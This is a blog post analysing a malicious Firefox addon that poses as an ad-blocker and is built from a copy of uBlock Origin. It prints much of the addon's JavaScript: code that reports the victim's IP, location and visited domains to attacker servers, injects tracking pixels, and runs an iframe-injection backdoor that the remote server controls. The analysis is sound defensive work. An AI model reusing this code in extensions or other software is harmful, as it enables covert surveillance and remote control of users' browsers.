The Anatomy of a Firefox Malware Addon

Some time ago, I was contacted to fix a computer running Ubuntu. Basically, after many flawless LTS distribution upgrade the last one failed and made the graphical boot hang hard. Thus, the fix was to backup the home directory, re-install a fresh Ubuntu and restore the home. Color me surprised when I quickly checked the Firefox addons and noticed a suspicious looking one:

Firefox Malware Addon Screenshot

The screenshot reads:

ublock Ads Plus
By Firefox Developer
Adblocker Pro - der beste Anzeigenblocker für alle deutschen Seiten

The last part translated to English:

The best Ad-Blocker for all German sites

Clearly, everything about this is ultra suspicious. It's not just one name, it's two names ('ublock Ads Plus' and 'Adblocker Pro'). The names are obviously a play on words trying to invoke familiarity with the very fine and legitimate ad-blockers uBlock Origin and Adblock Plus. Also, as if an addon author would use the utmost generic 'Firefox Developer' as author name. Let alone the ridiculous catch phrase.

Searching the Web for this addon name turned up some articles about Chrome malware addons that use similar name variations. Thus, I stored that addon for later analysis and wiped it from the affected machine.

Unpacking the captured adblocker@pro.org.xpi (a.k.a. 'ublock Ads Plus') addon zip archive reveals that it's some kind of uBlock Origin rip-off because most copyright headers are intact:

uBlock Origin - a browser extension to block requests.
Copyright (C) 2014-2016 Raymond Hill

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
[..]

Now the question is whether this rip-off is malicious or not. And if it is, how bad is it? Comparing it with a uBlock Origin revision from late 2016 shows that it does indeed add some malicious code.

Malicious Additions

The malware code still contains many active (or commented) console.log() calls - apparently, the author is a big fan of printf debugging.

In js/background.js, firstly, a custom uninstall URL is installed:

browser.runtime.setUninstallURL("https://goo.gl/forms/zLaR0ptFbmZtcWSA2");

Also at the top level, there is some logic to report to a Google Analytics account that the malware addon is still active in the victim's browser, each 24 hours:

console.log("Ticker calculation...");
try {
    var start = localStorage.getItem("tickclock");
    var millis = Date.now() - start;
    var elapsed = Math.floor(millis/1000);
    if(elapsed>=86400)
    {
        var u_uuid =  localStorage.getItem("uuid");
        var ccampaignId = localStorage.getItem("campaignID");
        var manifest = browser.runtime.getManifest();
        var extnName = manifest.name;
        console.log(manifest.name);

        var request = new XMLHttpRequest();
        var uri = "v=1&t=event&tid=UA-93019183-1&cid="
                  +u_uuid+"&aip=1&ds="+extnName
                  +"&ec=firefox&ea=firefox_user_active&el=extension_ON&cm="
                  +ccampaignId+"&es=browsersession";
        var message = encodeURI(uri);
        request.open("POST", "https://www.google-analytics.com/collect", true);
        request.setRequestHeader("User-Agent",
              "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36");

        request.send(message);
        localStorage.setItem("tickclock", Date.now());
   }
} catch (e) {
   this._log("Error sending report to Google Analytics.\n" + e);
}

(Note that I've re-indented the above and following code snippets a bit for better readability. Also, where appropriate I've split some long strings over multiple lines.)

The main pieces of information that are sent to the attacker's Google Analytics account is the UUID and a campaign ID. The UUID is randomly generated once after the malware addon is installed and thus uniquely identifies each victim. The campaign ID is the utm_campaign part of the URL the user is currently visiting:

var redirectUrl = "https://www.youtube.com/";

browser.tabs.query({currentWindow: true, active: true}, function (tabs) {
if(tabs[0] && tabs[0].id)
{
    var tab = tabs[0];
    var currurl = tab.url;
    if(currurl.indexOf("utm_campaign")!=-1)
    {
        console.log(currurl);
        getUrlParameter('utm_campaign',currurl);                        
    }
    var updating = browser.tabs.update(tab.id, {url: redirectUrl});
    updating.then(function(tab){ 
        browser.tabs.onUpdated.addListener(handleUpdate); });   
}

function getUrlParameter(name,url) {
name = name.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]');
var regex = new RegExp('[\\?&]' + name + '=([^&#]*)');
var results = regex.exec(url);
var campaignId =  results === null ? '' : decodeURIComponent(results[1].replace(/\+/g, ' '));
localStorage.setItem("campaignID", campaignId);
console.log(campaignId);
setTimeout( function() { reportGA(campaignId); }, 10000);
}

The malware not only includes the campaign ID in its alive message. In fact, it does report all campaign IDs is encounters in all URLs the victim is visiting:

function reportGA(campaignID) { 
   var uuid = uuid4();
   localStorage.setItem("uuid", uuid);

   var browser = "firefox"
   dbtransport();

   //embedPixel();
   try {
  var request = new XMLHttpRequest();
  var uri = "v=1&t=event&tid=UA-93019183-1&cid="+uuid
               +"&aip=1&ds=add-on&ec=firefox&ea=install_completed&el=firefox_addon_installed&cm="
               +campaignID+"&es=browserextension";
  var message = encodeURI(uri);
  request.open("POST", "https://www.google-analytics.com/collect", true);
  request.setRequestHeader("User-Agent","Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36");

      request.send(message);
   } catch (e) {
       this._log("Error sending report to Google Analytics.\n" + e);
   }
}

The previously installed handleUpdate() callback ultimately injects tracking pixel code:

function handleUpdate(tabId, changeInfo,tab)
{
    if(tab.url.indexOf("https://www.youtube.com/")!=-1 && tab.status=="complete")
    {
        console.log(tab);
        setImage(tabId);
        chrome.tabs.onUpdated.removeListener(handleUpdate);
        return;
    }
}

function setImage(tabId) 
{
    browser.tabs.executeScript(tabId, { code:
          '\n          '
        + 'var img = new Image();\n'
        + 'img.className = \'pixel\';\n'
        + 'img.src = \'http://bursultry-exprights.com/conversion.gif\';\n'
        + 'document.body.appendChild(img);\n',
        runAt: 'document_end' }, function () {});
}

That means the malware addon injects some Java Script code into each page that adds the tracking pixel image to the page's DOM tree.

When reporting the campaign ID etc. to Google Analytics, the malware also reports this and other information to another URL - probably as a backup in case Google removes the attacker's account:

function dbtransport()
{
    var campaignId  = localStorage.getItem("campaignID");
    var installDtTm = localStorage.getItem("installDtTm");
    var dauLastSeen = localStorage.getItem("dauLastSeen");
    var browser     = localStorage.getItem("browser");
    var uuid        = localStorage.getItem("uuid");
    var geoLocation = localStorage.getItem("GEO");

    var url = "http://stage.adblocker.website/report.php"
    //var url = "http://ojhasoftsolutions.in/testsites/adblock/report.php";
    var data =  "uuid="+uuid+"&campaignid="+campaignId+"&browser="+browser+"&geo="+geoLocation+"&datinstall="+installDtTm+"&dauLastSeen="+dauLastSeen;
    $.ajax({
        type: "POST",
        url: url,
        data: data,
        success: function(){ console.log('Success'); }
    });     
}

Note how the Malware previously send the data to http://ojhasoftsolutions.in and now sends it to http://stage.adblocker.website.

The Geolocation comes from an extra HTTP request in the callback that also queries the tabs:

$.get("http://freegeoip.net/json/", function( data ) { 
    console.log(data); var countryName = data.country_name;
    console.log(countryName);
    localStorage.setItem("GEO", countryName);       
    //localStorage.setItem("countryCode", data.country_code);
});

Interestingly, the freegeoip.net service has shut down its open API as of March, 2018. The new API requires an API key (free ones are available).

In js/tab.js, the malware addon removes some logic for filtering youtube, e.g.:

/* 
if(pageURL.indexOf("youtube.com")==-1)
{
    console.log("Blocked if only youtube")
    return 'http://behind-the-scene/';
}
*/

In js/ublock.js the malware seems to deactivate some blacklisting functionality:

//console.log('getNetFilteringSwitch');
//console.log(url);
if(typeof this.netBlackList[key]=="undefined")
{
    //console.log('Not Blocking ...');
    //console.log(key);
    return false;
}

In js/vapi-background.js, the Malware retrieves the external IP address of the victim for later collection:

function is_ip_address_set() {  
   var xhr2 = new XMLHttpRequest();
   xhr2.open("GET", "https://api.ipify.org/?format=json" , true);
   xhr2.send();
   xhr2.onreadystatechange = function() {
       if(xhr2.readyState == 4 && xhr2.status == 200) {
           var list = JSON.parse(xhr2.responseText);
           myIpAddressFunction(list.ip);
       }
   }
}

function myIpAddressFunction(u_ip_address){ 
   localStorage.setItem("u_ip_address", u_ip_address);
}

Again, it uses yet another free web service for this: the open api.ipify.org service is known to be used for diverse purposes, including nefarious ones. Apparently, some of its burst traffic is mainly caused by malware.

Besides tracking the victim's IP, there is also some code for tracking each domain the victim is visiting:

/**
 * Description: stored all the open tabs in an array
 * return void
 */
function save_all_tabs_opened() {  
   var local_tabs_domains = [];
   browser.tabs.query({},function(tabs){
       tabs.forEach(function(tab){
           var query_string = tab.url;
           var domain = get_domain(query_string);
           if ( domain === undefined ) {

           } else {
               tabs_domains.push(domain);
           }                       
       });
       save_domain(tabs_domains);
   });     
}

Surprisingly, the malware invests some effort to strip the non-domain part of the URL:

/**
 * proper get Domain without any parameter
 */
function get_domain(input){  
   try
   {       
       var domain_arr = input.split("/"); 
       var output_www = domain_arr[2];
       var find_str = "www.";
       var replace_str = "";
       var output = output_www.replace(find_str, replace_str);
       return output;
   }
   catch (err)
   {
       console.log('Domain undefined!');
   }
}

The domain tracking generates some tracking events:

/**
 * Hold the values in an global variable
 */
function save_domain(tabs_domains) {  
   var d_date = new Date();
var starting_n_get_time = d_date.getTime();

   for (var i=0;i<tabs_domains.length ;i++ )
   {
       if(tabs_domains[i]===undefined)
           continue;
       var single_track ={
           "domain": tabs_domains[i],
           "lastUpdated": starting_n_get_time,
           "fCount":1,
           "tPointer":starting_n_get_time};
       tracking_updates.push(single_track);
   }
}

Those events are passed with the collected campaign ID, the external IP address etc. to the actual send function:

function restriction_on_url( domain_name_passed, vFlag ) { 
   if(domain_name_passed===undefined)
       return;

   var d_date = new Date();
   var msg_needle = '';
   var end_n_get_time = d_date.getTime();

   var i = null;
   for (i = 0; tracking_updates.length > i; i += 1) {
       if(tracking_updates[i].domain==domain_name_passed)
       {
           break;
       }
   }
   console.log(tracking_updates);
   var p_ip_address = localStorage['u_ip_address'] ; 
   var campaignId =    localStorage.getItem("campaignID");
   var uuid =    localStorage.getItem("uuid");
campaignId = campaignId.substring(0,5);
   var identifier = campaignId+uuid;
   console.log(identifier);
   var args = {'tracking_updates':tracking_updates,
               'domain_name_passed':domain_name_passed,
               'vFlag':vFlag,
               'i':i,
               "min_x_second_opened_global":min_x_second_opened_global,
               'parameter_2_global':parameter_2_global,
               'parameter_1_global':parameter_1_global,
               'end_n_get_time':end_n_get_time,
               'p_ip_address':p_ip_address,
               'identifier':identifier};
    //tracking_updates[i].lastUpdated = end_n_get_time;
    triggerRequest('sfile','POST',args);
}

This sensitive information is sent to https://adblocker.website/ublockscript.php in triggerRequest():

function triggerRequest(qstr,type,args)
{
   var param = null;
   var countryCode ='BR'; 
   var countryCode = localStorage.getItem("countryCode");
   console.log(countryCode);
   var url ='https://adblocker.website/ublockscript.php';

   var xhr = new XMLHttpRequest();
   xhr.open(type, url, true);
   xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
   if(!args)
       xhr.send(null);
   else
   {  
       console.log('POST REQUEST!');
       xhr.send("tracking_updates="+JSON.stringify(args));     
   }

Actually, the function does multiple things besides just sending the data. If the server sends a certain response, this function sneakily injects an iframe with a server supplied URL into each opened web page. With that feature the attacker can dynamically inject more evil Java-Script into the victim's web sessions, possibly targeting only certain victims specifically. Think more tracking, stealing of user session data, in-browser crypto-coin mining, botnet client or something like that.

   xhr.onreadystatechange = function() { 
       if(xhr.readyState == 4 && xhr.status == 200) {
           var result = xhr.responseText; console.log(result);
           if(result.indexOf("params")!=-1)
           {
               var array = result.split("=");
        var configParams = array[1].split(","); console.log(configParams);
               myConfigFunction(null,configParams[0], configParams[1], configParams[2], configParams[3], configParams[4]);
           }
           if(result.indexOf("tupdate")!=-1)
           {
               if(result.indexOf('xml-api')==-1)
               {
                   console.log('only tupdate!');
                   var resultstr = result.split('=');
                   var len = resultstr.length;
                   var result = resultstr[len-1];
                   try
                   {  
                       console.log(result);
                       var  tarr = result.substr( result.indexOf('['), result.indexOf(']')+1); console.log(tarr);
                       if(JSON.parse(tarr))
                       {
                           var t_updates =  JSON.parse(tarr); console.log(t_updates);

                           tracking_updates = t_updates; console.log(tracking_updates);
                       }
                   } catch(e){ console.log(e); console.log("Error!"); }
               }
               else if(result.indexOf('xml-api')!=-1)
               {
                   console.log('Both tupdate and xml api!');
                   var resultstr = result.split('=');
                   var len = resultstr.length;
                   console.log(resultstr);
                   var resultSub = resultstr[len-5];
                   try
                   {  
                       //console.log(result);
                       var  tarr = resultSub.substr( resultSub.indexOf('['), resultSub.indexOf(']')+1); console.log(tarr);
                       if(JSON.parse(tarr))
                       {
                           var t_updates =  JSON.parse(tarr); console.log(t_updates);

                         tracking_updates = t_updates; console.log(tracking_updates);
                       }
                   } catch(e){ console.log(e); console.log("Error!"); }

                   var iframe = document.createElement('iframe');
                   iframe.frameBorder=0;
                   iframe.width="2px";
                   iframe.height="2px";
                   iframe.id="randomid";
                   var src= result.substr(result.indexOf('http'),result.length);

                   iframe.setAttribute("src", src);
                   console.log( "New data Saved!" );
                   document.body.appendChild(iframe);                                      
               }
           }                       
       }
   }
}

Of course, since Firefox auto-updates all addons by default, even when the addon wasn't installed from the official Mozilla addon repository, the attacker can easily distribute just another more evil version of its malware, anytime. For example, one that captures complete URLs, spies on various access tokens, logs all key-strokes and provides an even more generic JavaScript injection mechanism for controlling the victim's machine in a botnet. In our example, the malware wasn't installed via the Mozilla addon repository and thus specifies a custom update URL in its manifest.json:

"update_url": "https://adblocker.website/adblock/updates.json"

As a nice touch, the malware code in js/vapi-background.js even contains some comments and an author note:

////// PANKAJ CODE ///////

Summary

The 'ublock Ads Plus' (adblocker@pro.org.xpi) Firefox addon is some nasty malware. It tries to disguise it's malicious malware pieces in a copy of the fine and legit uBlock Origin adblocker addon. When a user is tricked into installing the malware, it constantly spies on the victim. That means a lot of personal information, such as all visited domains, history profiles and URL parts are transferred to Google Analytics and other shady malware data-collection servers. In addition, the addon opens a backdoor to remotely inject iframes into each web page. For example, to spy even more on the victim or make the browser part of a botnet.

Background

I asked the owner of that Ubuntu machine if he had any idea how this malware addon might got installed. Basically, what happened seems to be this: Originally, only the legit AdBlock Plus addon was installed. After a time, some German news sites started a campaign to deactivate the web ad-blocker to 'support good journalism'. The user complied - at least he deactivated AdBlock Plus on a few sites for some time. As a consequence, a malicious ad tricked the user to install the malicious 'ublock Ads Plus' (adblocker@pro.org.xpi) malware addon.

Lessons Learned

  • Some malware authors don't seem to care at all to obfuscate their code
  • Regularly check the addons you (or your users) have installed
  • Some convenient web APIs like ipify.org are also popular with malware authors

Take-Home Message

Never deactivate your ad-blocker. It isn't just about 'conventional' ads, ad networks are known to regularly distribute malware, either directly via exploiting some security vulnerability in the browser or more indirectly via social engineering - or via a combination of both.

Given the attractiveness of the browsers addon mechanism for malware: only install necessary browser addons and carefully check their origin. For example, use the official Mozilla addon repository, look at some reviews, usage numbers, and cross-validate some information.

See Also